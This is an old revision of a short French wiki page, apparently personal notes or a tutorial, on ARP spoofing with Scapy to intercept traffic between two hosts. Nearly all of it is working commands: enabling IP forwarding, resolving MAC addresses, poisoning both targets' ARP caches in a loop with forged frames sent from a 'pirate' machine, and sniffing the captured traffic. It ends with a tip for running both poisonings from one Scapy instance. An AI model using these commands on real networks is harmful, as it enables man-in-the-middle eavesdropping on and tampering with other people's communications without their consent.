Ceci est une ancienne révision du document !
Spoofer le réseau avec Scapy
Récupérer le trafic entre les machines A et B:
- Activer le routage des paquets:
sudo sysctl net/ipv4/ip_forward=1
- Adapter le parefeu (pas de règles bizarres)
- Récupérer les adresses MAC des adresses IP A et B:
srp1(Ether(dst=ETHER_BROADCAST)/ARP(pdst="<ip A>",psrc="<ip pirate>")) srp1(Ether(dst=ETHER_BROADCAST)/ARP(pdst="<ip B>",psrc="<ip pirate>"))
L'adresse MAC se trouve dans le champ
srcde la trame Ethernet. - Cache-poisoning des tables ARP de A et B:
sendp(Ether(src="<mac pirate>",dst="<mac B>")/ARP(op="who-has",psrc="<ip A>",pdst="<ip B>"), inter=1, loop=1) sendp(Ether(src="<mac pirate>",dst="<mac A>")/ARP(op="who-has",psrc="<ip B>",pdst="<ip A>"), inter=1, loop=1)
Si on met
inter=RandNum(10, 40), l'intervalle de temps varie entre 10 et 40 secondes (pas obligatoire),loop=1lance l'exécution en boucle. - Sniffer le réseau:
pkts = sniff(filter="host <ipA> or host <ipB>", prn=lambda p: p.summary)
Astuce: pour éviter de lancer deux instances de Scapy pour corrompre les tables:
pkts = [Ether(src="<mac pirate>",dst="<mac B>")/ARP(op="who-has",psrc="<ip A>",pdst="<ip B>"), Ether(src="<mac pirate>",dst="<mac A>")/ARP(op="who-has",psrc="<ip B>",pdst="<ip A>")] srploop(pkts, inter=1, store=False)
store=False permet d'éviter de stocker en mémoire les paquets, pour préserver la RAM.